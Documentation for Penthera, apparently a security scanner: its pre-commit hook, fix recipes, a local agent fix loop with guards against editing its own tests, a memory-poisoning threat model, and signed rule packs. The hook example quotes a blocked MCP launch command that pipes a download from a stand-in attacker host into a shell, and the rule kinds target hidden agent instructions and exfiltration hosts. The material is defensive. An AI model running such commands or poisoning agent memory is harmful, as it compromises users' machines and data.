  ✗ penthera blocked this commit: 2 findings at high or above (2 staged files, 1 agent config, 0.1s)

  ✗ CRITICAL .mcp.json  MCP server "x" launches by downloading and running code  id b5914a44a2058da9
      → Launch command contains a download piped to a shell: `curl https://evil.example/x.sh | sh`.
  ✗ CRITICAL config.js:1  Anthropic API key in source  sk-a…AAAA  id 7a0eb6998ff38787
      → Load it from an env var or secret store and unstage the file; rotate it if it was ever pushed or shared.

  Fix and `git add` again. A false positive? Add it to penthera.suppress.json:
    { "version": 1, "suppress": [{ "id": "b5914a44a2058da9", "reason": "why this is safe" }] }
  To skip the check for one commit: git commit --no-verify (the finding still ships)
```

It blocks on high and critical by default and takes about 0.1 to 0.5 s.
Configure it in `penthera.policy.json`:

```json
{ "hook": { "blockOn": "high", "ignore": ["tests/fixtures/**"],
            "checks": { "secrets": true, "agents": true, "deps": true, "licenses": true } } }
```

A staged file larger than 16 MB is not read, and it blocks the commit with a
warning that names it, since it could hold a secret nobody checked. Add it to
`ignore`, or set `"largeFiles": "warn"` in the `hook` section to only warn.

If husky or lefthook manage your hooks (`core.hooksPath` is set),
`penthera hook install` says so instead of overwriting them. Add one line to
that tool instead:

```bash
# husky
echo "npx --no-install penthera hook run" >> .husky/pre-commit
```

```yaml
# lefthook.yml
pre-commit:
  commands:
    penthera:
      run: npx --no-install penthera hook run
```

```yaml
# .pre-commit-config.yaml (pre-commit.com)
repos:
  - repo: https://github.com/danoszz/penthera
    rev: <tag or sha>
    hooks:
      - id: penthera
```

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/fix.md · https://penthera.org/docs/commands/fix.md -->

# Fixing what it finds: `penthera fix` and `penthera agent --loop`

> **Pro.** For "how do I run the fix loop?"

## Scan and fix

Ask your agent to fix what Penthera finds. It detects the issue, applies a framework-aware fix to your code (shown as a diff for you to approve), and re-scans to prove it is resolved.

```
"Scan my app and fix what you find"
"Fix the security headers on my Next.js app and re-scan to confirm"
"Find and fix hardcoded secrets in this repo"
```

Fixes come from a [remediation playbook](https://github.com/danoszz/penthera/blob/main/skills/penthera/references/remediation.md) covering Next.js, Express, Fastify, Hono, and FastAPI. They are always shown as diffs for your approval and verified by a re-scan, and nothing touches production. To build secure-by-default in the first place, see [secure defaults](https://github.com/danoszz/penthera/blob/main/skills/penthera/references/secure-defaults.md).

### Fix recipes

For the most common findings you don't need an agent at all. `penthera fix` plans deterministic, local fixes and prints each one as a unified diff:

```bash
penthera fix --plan --repo .                  # fresh repo scan, one diff per fix
penthera fix --plan --repo . -o report.json   # or use the findings from an earlier scan
penthera fix --apply <id> --repo .            # apply one diff after you approve it
```

| Recipe | What it changes | Frameworks |
|--------|-----------------|------------|
| `security-headers` | Adds a starter CSP (with `frame-ancestors`), HSTS, X-Frame-Options, Referrer-Policy and X-Content-Type-Options | Next.js (`headers()` in `next.config.*`), Express (`helmet` if installed, otherwise a small middleware), Fastify (`@fastify/helmet` if installed, otherwise an `onSend` hook), Hono (`secureHeaders`) |
| `cookie-flags` | Adds `httpOnly`, `secure` and `sameSite` to cookies set in code | `res.cookie`, `reply.setCookie`, Hono `setCookie`, Next.js `cookies().set` |
| `cors-allowlist` | Replaces `cors()`, `origin: "*"`, `origin: true` and `origin \|\| "*"` with an allowlist from `CORS_ALLOWED_ORIGINS` | Express, Fastify, Hono, Next.js route handlers |
| `auth-rate-limit` | Puts a rate-limit stub (in memory, 10 attempts per 15 minutes) on login and auth routes | Express (`express-rate-limit` if installed), Fastify, Hono, Next.js App Router |
| `secret-to-env` | Moves a hardcoded secret in JS/TS to `process.env.NAME` and adds `NAME=` to `.env.example` | Any |

How it stays safe:

- **Planning never writes.** Applying is a separate step: it needs a plan id plus a `y/N` confirmation (or `--yes`), refuses a dirty git tree unless you pass `--allow-dirty`, refuses any path outside the repo, and writes nothing unless every hunk applies. It never commits or pushes.
- **A fix never edits its own checker.** A diff from a recipe or a local model may not touch tests (`test/`, `tests/`, `__tests__/`, `*.test.*`, `*.spec.*`, `conftest.py`), test runner config or the test script (`vitest.*`, `jest.*`, `playwright.*`, `pytest.ini`, `pyproject.toml`, `setup.cfg`, `tox.ini`, `package.json`), Penthera's own files (`penthera.*` such as the policy, suppressions and lock, `audit/baseline.json`, `.penthera/`), `.github/workflows/`, git hooks (`.husky/`, `.githooks/`, lefthook, pre-commit), lockfiles or `.gitmodules`. Such a diff is refused with `PROTECTED` before anything is written, and `fix` prints it as refused. If the real fix needs one of those files changed, make that change by hand.
- **Conservative edits.** No AST rewriting: each recipe edits at an anchor it recognizes exactly (`const app = express()`, the exported Next.js config object, a one-line `res.cookie(...)`). If the anchor isn't there, or the code already does something custom (an existing `headers()`, cookie options in a variable), the recipe returns no plan instead of a risky diff.
- **Owner actions are listed, not done.** A recipe can move a secret out of the code but can never rotate it, so every secret fix says "rotate this secret". Other recipes flag what is still on you, such as tightening the starter CSP or setting `CORS_ALLOWED_ORIGINS`.
- **Secrets stay masked.** The secret's value is masked in printed and `--json` plans.
- **Verified.** After `--apply`, Penthera re-scans the repo and says whether each finding is gone. Headers, cookies, CORS and rate limits are checked statically from source, so re-run your URL scan to confirm against the live app.

No recipe for a finding? `--fix-model <name>` can ask a model running in [Ollama](https://ollama.com) on `127.0.0.1:11434`, and nowhere else. It is off by default and only used when no recipe matches. Its diffs are labeled `needs-human-review`.

### The local loop: `penthera agent --loop`

`penthera agent --loop` runs scan → fix → verify → learn on your machine until nothing fixable is left (or `--max-iterations`, default 5):

```bash
penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
```

It shows each diff and asks `y/n/skip/quit`, applies it on a local branch `penthera/fix-<yyyymmdd-hhmm>`, re-scans (plus your tests with `--run-tests`), commits the fix if it verified and reverts it if not, and records the outcome in [local memory](https://penthera.org/docs/local-loop.md). It refuses a dirty tree or a detached HEAD, runs only an allow-list of local git commands with your repo's hooks disabled, contacts only the `--url` host, and never pushes or opens a pull request. If your repo's own `.git/config` sets `gpg.*`, `filter.*` or `include.*` (or git is older than 2.31), the loop does not start and names the key: move it to your global config, or apply fixes by hand from `penthera fix --plan`. `--auto low` applies without asking only recipes that memory shows verified 3+ times with no failures on your framework. The checker stays as it was: fixes may not touch the protected files above, and a fix is not verified if any of them changed during the run. When the loop cannot fix a finding (verification failed, the diff was refused, or the model had no usable fix), it gives up on it for the rest of the run, records `gave_up` with the reason, and lists it in the summary. A give-up never counts against a recipe. Details and the `loopRun` JSON: [docs/local-loop.md](https://penthera.org/docs/local-loop.md#the-agent-loop).

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/local-loop.md · https://penthera.org/docs/local-loop.md -->

# The local loop

> **Pro.** For "how do I run the fix loop, and what does it remember?"

Since v1.4, Penthera has a loop that runs entirely on your machine: scan, fix on
a local branch, verify, record the outcome, repeat. Nothing in it talks to a
Penthera server, because there isn't one. This page covers the loop itself
(`penthera agent --loop`) and the local learning store it records into. The
store counts which fix recipes worked for which framework. It re-orders and
suppresses findings. It does not train a model.

## The agent loop

```bash
penthera agent --loop --repo . --url http://localhost:3000 -o reports/loop.json
penthera agent --loop --repo . --run-tests          # also run the project's test script
penthera agent --loop --repo . --auto low           # auto-apply only recipes memory has proven
```

One iteration:

1. **Scan** the repo (white-box scan plus the fix recipes' static probes) and,
   with `--url`, the running app.
2. **Triage**: drop findings suppressed in memory or `penthera.suppress.json`,
   and rank the rest with memory (severity always first).
3. **Plan**: a deterministic recipe first. The local model is asked only with
   `--fix-model <name>`, and only for findings no recipe matches.
4. **Patch** on a local branch `penthera/fix-<yyyymmdd-hhmm>`, created from the
   current HEAD when the run starts.
5. **Verify**: re-scan. A fix passes when the findings it targeted are gone from
   the repo scan, no new finding appeared, and, with `--run-tests`, the
   project's `test` script exits 0 (`node --run test`).
   Verification uses the checker the run began with: no fix may edit tests,
   test config or Penthera's own files (see [the protected files](#what-it-guarantees)),
   and if any of them changed since the run began, the fix fails without the
   tests being run.
6. **Learn**: `scan`, `fix_applied` and `fix_verified` or `fix_failed` go to
   memory, and `gave_up` when the loop could not fix a finding.
7. **Commit** each verified fix on its own, with a message that lists the
   findings, the recipe, and how it was verified. A fix that fails is reverted:
   each file gets back the bytes it had before the fix, and files it created
   are removed. A file that changed again after the fix was written (you saved
   it meanwhile) is left alone and the fix is marked `conflict`. The commit
   contains only the fix's own files (`git commit --only`).

Plans are applied one at a time and re-planned against the tree after each
fix, since two recipes can touch the same file. The loop repeats until nothing
fixable is left, `--max-iterations` (default 5) is reached, or you stop it.
A fix you decline (`n`) is not proposed again in the same run; `s` skips it
until the next iteration.

**The safe exit.** "Could not fix" is a normal outcome, not something to work
around. When a fix fails verification, its diff is refused, or the local model
has no usable fix, the loop gives up on those findings for the rest of the run
and does not try them again. Each give-up is a `gave_up` event in memory with
the reason, is listed in `loopRun.gaveUp`, and is printed in the summary
(`gave up on N (not retried this run; fix by hand): title (reason); ...`).
A give-up never counts as a recipe failure, so neither the ranking nor
`--auto low` can learn to avoid it.

A live URL serves the code it was started with, so a fix to response headers
shows up in the URL scan only after the app restarts. The loop counts those as
`liveRemaining` in the fix's `verify` block, not as a failure; the repo scan
decides whether the fix landed.

### What it guarantees

Each of these has a test in `tests/agent.test.js`.

- **No remote operations.** All git goes through `src/agent/git.js`, an
  allow-list of local subcommands (`rev-parse`, `symbolic-ref`, `status`,
  `diff`, `log`, `show-ref`, `checkout`, `add`, `commit`, `config --get`).
  `push`, `fetch`, `pull`, `remote`, `clone`, `ls-remote`, `submodule` and
  everything else are refused before a process starts, as are URL arguments
  and `-c` overrides. Every call also runs with `protocol.allow=never` and
  `GIT_NO_LAZY_FETCH=1`, so no transport can work. The loop never runs `gh`
  and never opens a pull request.
- **The repo's hooks never run.** Git runs with `core.hooksPath=/dev/null`,
  `core.fsmonitor=false` and `commit --no-verify`, because a scanned repo can ship
  hooks that run anything.
- **Network.** The whole run shares one egress context with `--offline` always
  on, so the URL target is the only host. Loopback is added only when
  `--fix-model` is set, and the model client then accepts only
  `http://127.0.0.1:11434`.
- **Clean start.** A dirty tree (untracked files included), a detached HEAD, a
  repo without commits, or a directory that is not a git repo is refused.
  `--allow-dirty` lets the loop start anyway, but it never patches a file that
  has uncommitted changes; this is checked again right before each write and
  each commit. Plans that touch untracked or git-ignored files are skipped.
- **Git.** The loop's git calls ignore hooks, fsmonitor, signing, and any
  filter the repository configures, and treat paths literally. Writes are
  refused when the repository's own config sets `filter.*`, `gpg.*` or
  `include.*` keys, and on git older than 2.31: the loop stops before its first
  write with one message naming the key and the way forward (move it to your
  global config, or apply fixes by hand from `penthera fix --plan`).
- **The checker stays as it was.** A fix diff, from a recipe or the model, may
  not touch tests (`test/`, `tests/`, `__tests__/`, `*.test.*`, `*.spec.*`,
  `conftest.py`), test runner config or the test script (`vitest.*`,
  `jest.*`, `playwright.*`, `pytest.ini`, `pyproject.toml`, `setup.cfg`,
  `tox.ini`, `package.json`), Penthera's own files (`penthera.*`,
  `audit/baseline.json`, `.penthera/`), `.github/workflows/`, git hooks
  (`.husky/`, `.githooks/`, lefthook, pre-commit), lockfiles or `.gitmodules`,
  in any case. `applyDiff` refuses it with `PROTECTED` and the finding is given
  up. Before the tests run and again before the verdict, the loop checks that
  every protected file is as it was when the run began; if not, the fix fails.
  A real fix that needs a test change is yours to make by hand.
- **Approval.** Every diff is shown, secrets masked, with
  `[y]es / [n]o / [s]kip / [q]uit`. When input runs out (piped stdin), the
  answer is `n`. `--auto low` applies a diff without asking only when it comes
  from a recipe (not the model), its confidence is not `needs-human-review`,
  memory's chain verifies, and memory shows that recipe with at least 3
  verified fixes and no failures for this framework.
- **Interruption.** The first Ctrl-C lets the fix in flight finish: it is
  verified and committed, or reverted. The loop then stops on the fix branch,
  which holds only verified commits. A second Ctrl-C reverts the fix in flight
  at once and exits.

`--run-tests` runs the project's own code, so it can do anything that code
does, including network calls. It is off by default for that reason.

### The loopRun object

`-o <file>` writes `{ "loopRun": { ... } }`. The fix timeline in the audience
reports ([evidence.md](https://penthera.org/docs/evidence.md#audience-reports)) renders it.
Every step carries `startedAt` and `durationMs`.

```js
{
  schema: "penthera.loopRun/1",
  id, startedAt, finishedAt, durationMs,
  target: { repo, url },
  branch: { base, baseSha, fix },            // base is null on a detached HEAD
  options: { maxIterations, auto: "off" | "low", runTests, fixModel, offline: true, allowDirty },
  stopReason: "no-fixable-findings" | "declined-or-failed-left" | "max-iterations"
            | "user-quit" | "interrupted" | "error",
  error,                                     // message when stopReason is "error"
  gaveUp: [{ fid, title, reason }],          // findings the loop could not fix; not retried this run
  findings: { initial, final },              // non-info, unsuppressed
  totals: { iterations, planned, applied, verified, failed, declined, skipped, commits: [sha] },
  memory: { projectId, chain: "ok" | "broken", eventsAppended },
  iterations: [{
    n, startedAt, durationMs,
    findings: { total, suppressed, fixable },
    steps: [{ step: "scan" | "triage" | "plan", startedAt, durationMs }],
    fixes: [{
      planId, recipe, title, framework, source: "recipe" | "local-model", confidence,
      files, findings: [{ fid, title, severity, category }],
      memory: { verified, failed } | null,   // recipe history when the plan was ranked
      decision: "approved" | "auto" | "declined" | "skipped" | "quit" | "obsolete",
      status: "verified" | "failed" | "not-applied",
      reason, commit,
      verify: { targetedRemaining, newFindings, liveRemaining, tests: { ok, exitCode, durationMs } | null } | null,
      testOutput,                            // tail of the test output, only when tests failed
      steps: [{ step: "approve" | "patch" | "learn" | "verify" | "commit" | "revert", startedAt, durationMs }],
    }],
  }],
}
```

`obsolete` means an earlier fix in the same iteration already covered the plan.
The same object, without `testOutput` and with finding ids in place of finding
objects, is appended to memory as a `loop_run` event.

Exit codes: `0` nothing fixable left, `1` fixable findings remain (declined,
failed, or out of iterations), `2` the loop could not start (dirty tree,
detached HEAD, bad options), `130` interrupted.

## The learning store

Scans run with `--memory` record what happened, and the next scan uses that
record to rank and suppress findings.

```bash
penthera --repo . --memory            # scan, apply memory, record this scan
penthera memory show                  # what memory knows about this project
penthera memory verify                # check the hash chain
penthera memory suppress <id> --reason "set by the CDN" [--expires 2027-01-01]
penthera memory forget                # delete this project's memory
penthera memory forget --all          # delete all memory
```

`<id>` is the 16-character `fid` shown next to each finding in a `--memory`
report.

### Where it lives

```
~/.penthera/memory/<project-id>/events.jsonl   the event log
~/.penthera/memory/<project-id>/head.json      count and hash of the last event
~/.penthera/memory/<project-id>/meta.json      the project's path or origin, for `memory show`
```

`<project-id>` is a SHA-256 of the repo's absolute path plus its git remote URL,
or of the target origin for URL-only scans. Set `PENTHERA_HOME` to move the
root (the tests do). Penthera reads the remote from `.git/config` itself rather
than running `git`, because running git inside an untrusted repo can execute
that repo's hooks or `core.fsmonitor` command.

### What it records

One JSON event per line, append-only:

```json
{ "v": 1, "ts": "...", "type": "scan", "data": { ... }, "prev": "<hash of previous line>", "hash": "..." }
```

`hash = sha256(prev + canonical JSON of { v, ts, type, data })`, with object
keys sorted. The first line's `prev` is derived from the project id.

| Type | Data |
| --- | --- |
| `scan` | stack, modes, counts by severity, ids of the actionable findings |
| `probe_yield` | probe id, stack, findings count |
| `fix_applied` | finding id, recipe id, framework, category, diff SHA-256 |
| `fix_verified` / `fix_failed` | finding id (recipe and framework are joined from `fix_applied`) |
| `gave_up` | finding id, reason, source, loop run id. Never counted in recipe success |
| `fp_suppressed` | finding id, reason, actor, optional expiry |
| `loop_run` | one `penthera agent --loop` run: the [loopRun](#the-looprun-object) without test output, finding ids only |

From these, `penthera memory show` derives four views: recipe success rate per
framework, active suppressions, probe ranking by yield per stack, and median
time to fix (first seen in a scan to `fix_verified`).

### How a scan uses it

Memory can do two things to a report, and nothing else:

1. **Suppress** a finding the user (or the loop, on the user's behalf) marked as
   a false positive, with a reason. Suppressed findings move to a separate
   "Suppressed" section in the terminal and Markdown reports, each with who
   suppressed it and why. They do not count toward the exit code.
2. **Re-order** findings within a severity: categories with a fix recipe that
   has worked on this framework come first, then findings that have shown up in
   more past scans. Severity is never changed and no finding is dropped.

## Threat model

The learning store is an attack surface. An agent loop that learns from its own
past is open to memory poisoning (OWASP Agentic Security Initiative, ASI06): if
an attacker can write to what the loop remembers, they can steer what it does
next. In Penthera's case the two goals would be hiding a real finding and
getting the loop to run something. The store is built so that neither can
happen unnoticed.

### Why it never executes

Memory is data. No value read from it is ever executed, evaluated, imported,
used as a file path, or passed to a shell. A recipe id in memory is only a
string that gets counted. The recipe code lives in Penthera's own source
(`lib/fix/`) and is chosen by Penthera, not by the log. Every field a view reads
is type- and length-checked, and an event that fails a check is ignored rather
than interpreted. Strings shown in the terminal have control characters stripped,
so a stored reason cannot inject ANSI escape sequences.

The worst a fully poisoned memory can do is hide findings, and hidden findings
are listed, with their reason, in every report.

### Why it is hash-chained

The chain makes tampering visible. Editing a line, reordering lines, deleting a
line from the start or middle, or splicing in another project's log all break
the chain, and `penthera memory verify` names the first broken line. `head.json`
records the count and hash of the last event, so cutting lines off the end is
caught too.

When the chain is broken, scans **fail closed**: memory suppressions and
ranking are not applied, nothing new is appended, and the scan prints a warning
telling you to run `penthera memory verify`. You can then inspect the log or
start over with `penthera memory forget`.

The limit: the chain is tamper-evident, not tamper-proof. Anyone who
can write to your home directory can rewrite the whole log and recompute every
hash. Keying the chain would not help, since the key would sit in the same home
directory. The chain is there to catch a partial edit, an accidental truncation,
or a tool that writes where it should not. It is not a defense against malware
already running as you.

### Why it lives in your home directory

Memory is never read from the scanned repo. If it were, a repo could ship
pre-poisoned memory, for example a suppression for the secret it is about to
leak. Keeping memory under `~/.penthera` means only runs on your machine, as
you, write to it.

### The one thing a repo can say: `penthera.suppress.json`

Teams do need to share decisions like "this key is a revoked test fixture". For
that a repo may contain `penthera.suppress.json`:

```json
{
  "version": 1,
  "suppress": [
    { "id": "16e06eb3fd94664b", "reason": "test fixture, revoked", "expires": "2027-01-01" }
  ]
}
```

It is held to a stricter standard than memory:

- Every entry needs a reason. Entries without one, with a malformed id or date,
  or past their expiry are dropped with a warning.
- Every finding it hides is listed in the report as **suppressed by repo file**
  with the reason, so a reviewer sees both the file change in the PR and its
  effect in the report.
- It only applies with `--memory`, and a local suppression for the same finding
  takes precedence.

Treat a change to `penthera.suppress.json` in a pull request like a change to
CI config: it decides what the scanner reports.

### Concurrency

Two scans of the same project can run at once. Each append takes an exclusive
lock file (`events.lock`, created with `O_EXCL`), reads the tip, and writes one
line with a single `O_APPEND` write. Lines never interleave and the chain never
forks. A lock older than 30 seconds is treated as stale and removed.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/rule-packs.md · https://penthera.org/docs/rule-packs.md -->

# Rule packs

> **Pro.** For "how do I tune the rules?"

A rule pack is a directory of detection data that Penthera verifies before it
uses a single rule. This is how new knowledge about attacks (a new key format,
a worm's package list, a fresh prompt-injection trick) reaches Penthera without
Penthera ever fetching anything at run time.

```bash
penthera rules list                         # packs in effect
penthera rules verify ./my-pack             # signature, hashes, schema, ReDoS guard
penthera deps --rules ./my-pack             # add a pack to a scan (repeatable)
penthera --repo . --rules ./my-pack
```

## Trust model

Packs reach Penthera in two ways only:

1. **Bundled in a release.** `lib/rules/<name>/` ships inside the npm package.
   Releases are staged on npm by CI and go live only when the maintainer
   approves them with 2FA (see `.github/workflows/publish.yml`). The publish
   workflow runs `npm run rules:check`, which refuses to stage a release with a
   bundled pack that is not signed by a key in `lib/rules/allowed_signers`. So a
   rule change has to pass through the maintainer's signing key, which never
   enters CI, as well as through the 2FA approval.
2. **By path, from you.** `--rules <dir>` loads a pack from a directory you
   name. It must be signed by a key in `lib/rules/allowed_signers` or in a file
   you pass with `--rules-signers <file>`.

There is no third way. Penthera has no rule server, no update command, no
background refresh and no URL it pulls rules from. The rule-pack code
(`lib/rules/`) has no network code at all, and a test asserts that.

### Why no runtime fetching

A rule feed is a path from somebody else's server into a tool that runs with
your network access, and often with your credentials and your source code. Rule
updates are exactly the kind of channel attackers go after: compromise the feed
and every scanner that trusts it runs your rules, or reports your malware as
clean. Securing such a channel takes signed metadata, key rotation,
freshness guarantees and trust delegation (TUF, in-toto) [samuel2010survivable,
torresarias2019intoto]. Penthera already has a channel with those properties
for its code: the release. Shipping rules through that same channel adds no new
way in, and the rules you ran are the rules in the version you installed.

The cost is latency: a new IOC (indicator of compromise) reaches you when you
upgrade, not within the hour. For the campaigns these packs target, an IOC is most useful in the days
and weeks after disclosure, while compromised versions sit in lockfiles and
npm caches. If you need something faster, write a pack yourself, sign it with
your own key, and pass it with `--rules` and `--rules-signers`. Penthera never
decides on your behalf to trust a new source.

### What verification checks

In order, and a failure refuses the whole pack (there is no partial load):

1. **Signature.** `pack.json.sig` is an OpenSSH signature (`ssh-keygen -Y
   sign`, namespace `penthera-rules`) over the exact bytes of `pack.json`. The
   signing key must be in an allowed_signers file, with `namespaces`
   (if set) including `penthera-rules` and `valid-after`/`valid-before`
   respected. Penthera verifies it in Node (ed25519 or RSA ≥ 2048), so it needs
   no `ssh-keygen` at run time.
2. **File hashes.** Every rule file's SHA-256 must match `pack.json`. Rule files
   must be plain names in the pack directory: no paths, no `..`, no symlinks,
   size-capped.
3. **Schema.** Every rule is validated against its kind (below). Strings that
   reach your terminal or report may not contain control characters, ANSI
   escapes or bidi overrides. Template paths must stay on the scan target.
   `min_penthera` must not be newer than your Penthera.
4. **ReDoS guard.** Every regex must pass `lib/rules/regex-guard.js` (below).

An unsigned pack, or one whose signature does not verify against a trusted
key, is refused unless you pass `--allow-unsigned-rules`. That flag prints a
warning on every run. It skips only the signature check. Hash, schema and ReDoS
failures are refused with or without it.

Bundled packs are hash-checked and schema-checked on every start. A failure
there means the installation is damaged, and Penthera stops rather than run
with half its rules.

## Format

```
my-pack/
  pack.json        index: name, version, created_at, min_penthera, rules[]
  pack.json.sig    ssh-keygen -Y sign -n penthera-rules
  secrets.json     rule files, one kind each
  packages.json
```

`pack.json` (written by `scripts/rules/build-pack.mjs`, never by hand):

```json
{
  "schema": 1,
  "name": "ioc-2025-2026",
  "version": "1.0.0",
  "created_at": "2026-10-19T14:45:12Z",
  "min_penthera": "1.2.0",
  "description": "…",
  "rules": [
    { "file": "packages.json", "kind": "ioc-package", "sha256": "…" }
  ]
}
```

A rule file is `{ "kind": "<kind>", "rules": [ … ] }`. Rules are data only:
regexes, string lists, IOC lists. A pack cannot contain code, and nothing in a
pack is ever evaluated.

Every rule carries:

| Field | Meaning |
|---|---|
| `id` | Unique within the pack, `[a-z0-9._-]` |
| `source` | `https` URL of the advisory, paper or write-up the rule comes from |
| `date` | `YYYY-MM-DD`, when that source published it |
| `confidence` | `confirmed`, `likely` or `potential`, as in findings |
| `references` | Optional keys into [references.bib](https://github.com/danoszz/penthera/blob/main/docs/references.bib) |
| `description` | Optional, shown in finding descriptions |

### Kinds

| Kind | Engine | Fields |
|---|---|---|
| `secret` | `lib/whitebox/secrets.js` (`--repo`, agents, fix) | `name`, `pattern`, `flags`, `severity`, `skip_placeholders` |
| `agent-instruction` | `lib/agents/hidden-content.js`: instructions hidden in comments and decoded blobs | `pattern`, `flags` |
| `agent-exec` | `lib/agents/`: remote-code-execution shapes in skills, hooks and MCP commands | `label`, `pattern`, `flags` |
| `ioc-package` | `penthera deps`: known-malicious versions, matched against the lockfile | `campaign`, `packages: [{ name, versions }]`, `severity` |
| `ioc-pypi-package` | `penthera deps` (Python): known-malicious PyPI versions, matched against the lockfile | `campaign`, `packages: [{ name, versions }]` (PEP 503 normalized names, exact PEP 440 versions or `*`), `severity` |
| `ioc-host` | `penthera deps`: exfiltration endpoints in package code | `campaign`, `hosts` (attacker domains), `urls` (exact endpoints on shared services) |
| `ioc-file` | `penthera deps`: files a campaign drops into packages | `campaign`, `files: [{ path, sha256? }]` |
| `typosquat-target` | `lib/deps/typosquat.js`: names to protect from look-alikes | `names` |
| `nuclei-template` | `lib/templates.js`: the Nuclei subset Penthera runs (status, word, regex matchers) | `template` |
| `runtime-advisory` | `lib/advisories/`: affected versions of a runtime or server (`--repo` pins, URL banners) | `product`, `title`, `severity`, `cves`, `ghsa`, `cvss`, `kev` (date added to CISA KEV), `condition`, `fixed: [{ branch, version, introduced? }]` |
| `runtime-eol` | `lib/advisories/`: release lines past their vendor's end of support | `product`, `branches: [{ branch, eol }]` |

`runtime-advisory` and `runtime-eol` name a `product` from a fixed list (`php`,
`apache-httpd`, `nginx`, `nodejs`, `python`, `openssl`; detection for each is
code in `lib/advisories/products.js`). A `branch` is a release line as that
vendor numbers them: `8.3` for PHP, `22` for Node.js, `1.1.1` or `3.0` for
OpenSSL. Every `fixed` version must be an exact upstream release on its line.
An advisory with a `condition` (an OS, a SAPI, a module a banner cannot show)
never produces more than `potential`. A `runtime-eol` line counts as ended
only when its `eol` date is on or before the rule's own `date`, so the result
depends on the pack, never on the clock of the machine that runs the scan. See
the methodology's [runtime advisories](https://penthera.org/docs/METHODOLOGY.md#runtime-advisories)
section for how evidence and verdicts work.

Rules from packs run after the built-in rules, so a pack can add detections but
cannot shadow or reorder the built-in ones. IOC matching is literal (string
equality and `indexOf`), so IOC lists cannot be made slow. `ioc-package` matches
the lockfile, so it reports a bad version even when it is not installed.

## The ReDoS guard

Packs scan hostile input: dependency source, agent configs, HTTP responses. A
pack with a regex that backtracks exponentially could hang every scan that
loads it. V8's regex engine backtracks, and its linear-time mode refuses
ordinary bounded repeats like `{64}`, so `lib/rules/regex-guard.js` checks the
pattern's structure when the pack loads and refuses:

1. patterns longer than 512 characters, or with flags other than `imsu`;
2. backreferences and lookaround;
3. nested quantifiers: `(a+)+`, `(\w*\s?)*`;
4. alternation under an unbounded quantifier: `(a|aa)+`;
5. bounded repeats above 256;
6. an unbounded quantifier that every start position can reach and rescan
   (`\s*x`, `[a-z]+@`, `x[^\n]*\|` on `xxxx…`);
7. chains of quantifiers over overlapping characters (`.*b.*`, `\s+\S*\s*`),
   unless all of them are bounded and their product stays under 1,024.

The guard is conservative on purpose and refuses some safe patterns. Rewrite those
with a mandatory literal first, or with bounded windows such as
`[^\n]{0,80}`. Rule 6 took its current form after seeded fuzzing found
quadratic patterns that the narrower "no leading quantifier" version let
through. The fuzz test
(`tests/rule-packs.test.js`) generates random patterns and requires everything
the guard accepts to finish in under 250 ms on 10 KB of input built to make it
backtrack. In practice they finish in milliseconds. Quadratic patterns take
seconds. Regexes from packs added with `--rules` also see at most 1 MB of input
per match.

The older, narrower check for `--templates` YAML (v1.1.1) moved into the same
module as `hasNestedQuantifier()`. It used to be a regex, which CodeQL flagged as
polynomial on the pattern string it inspects. It is now a linear scan that
refuses everything the old regex refused, plus nesting it missed (`((a+))+`), so
existing user templates keep working.

## Bundled packs

| Pack | Contents |
|---|---|
| `core` | Detections that were hardcoded before rule packs, moved here so the built-in rules go through the same loader: 12 AI-provider key formats, the credential-path hidden-instruction pattern, two process-substitution exec patterns, and the `.env` exposure template. Engines splice them back in at their old positions, and a test compares the result with a snapshot of the old built-ins. |
| `advisories` | Runtime and server advisories and end-of-life release lines. The PHP security release of 21 October 2026 (CVE-2026-109618 and CVE-2026-109619, fixed in 8.2.35, 8.3.36, 8.4.27 and 8.5.12), and the Node.js security release of the same day (CVE-2026-111497, a Brotli decoder RCE, and three TLS certificate hostname bypasses, fixed in 22.23.4, 24.22.1 and 26.12.1). Worked examples: CVE-2024-4577 and its bypass CVE-2024-8926 (PHP-CGI on Windows, from the php-src advisories), and CVE-2021-41773 with CVE-2021-42013 (Apache HTTP Server 2.4.49 and 2.4.50). End-of-life lines for PHP, Node.js, Python, nginx, Apache HTTP Server and OpenSSL, from each vendor's support page. Every rule cites the vendor page it was copied from. |
| `ioc-2025-2026` | Named npm campaigns: **s1ngularity** (nx and @nx/* versions, from GHSA-cxm3-wv7p-598c), **Shai-Hulud** (484 package versions from StepSecurity's table, the webhook.site exfil URL, and `bundle.js` by SHA-256), **Shai-Hulud 2.0** (1,089 package versions from Wiz Research's CSV, plus `setup_bun.js` and `bun_environment.js`), and **postmark-mcp** 1.0.16 to 1.0.18 with its exfil domain. Every rule cites the list it came from. We dropped entries we could not check against a primary source. |

## Writing and signing a pack

```bash
mkdir my-pack && $EDITOR my-pack/secrets.json   # { "kind": "secret", "rules": [ … ] }
npm run rules:build -- my-pack --name my-pack --version 1.0.0
ssh-keygen -Y sign -f ~/.ssh/id_ed25519 -n penthera-rules my-pack/pack.json
echo "me@example.com namespaces=\"penthera-rules\" $(cut -d' ' -f1,2 ~/.ssh/id_ed25519.pub)" > my-signers
penthera rules verify my-pack --rules-signers my-signers
penthera deps --rules my-pack --rules-signers my-signers
```

In a checkout of Penthera, `npm run rules:build` runs the script; from an
installed copy it is `node "$(npm root -g)/penthera/scripts/rules/build-pack.mjs"`.
`build-pack.mjs` hashes the rule files, writes `pack.json`, validates the
result with the loader's own code, and deletes a `pack.json.sig` that no longer
matches. `created_at` only changes when a rule file changed.

## Signing a release (maintainer)

Bundled packs must be signed before a release can be staged:

1. Review the change: `git diff lib/rules/`. The signature vouches for every
   rule in the pack.
2. Sign each changed pack locally, never in CI:
   `scripts/rules/sign-pack.sh lib/rules/<name> [~/.ssh/key]`. The script rebuilds
   `pack.json`, signs it with `ssh-keygen -Y sign -n penthera-rules`, and runs
   `penthera rules verify`.
3. `npm run rules:check` must pass. The publish workflow runs it before staging.
4. Commit `pack.json.sig` with the release.

The signing key's public half lives in `lib/rules/allowed_signers`. Changing
that file changes Penthera's trust root, and gets the same review as a change
to the verifier. To rotate keys, add the new key, re-sign the bundled packs, and
remove the old key in a later release. Packs other people signed with the old
key keep working until it is removed. A hardware-backed key (`sk-ssh-ed25519`)
is not supported by the verifier yet. Use ed25519 or RSA.

---

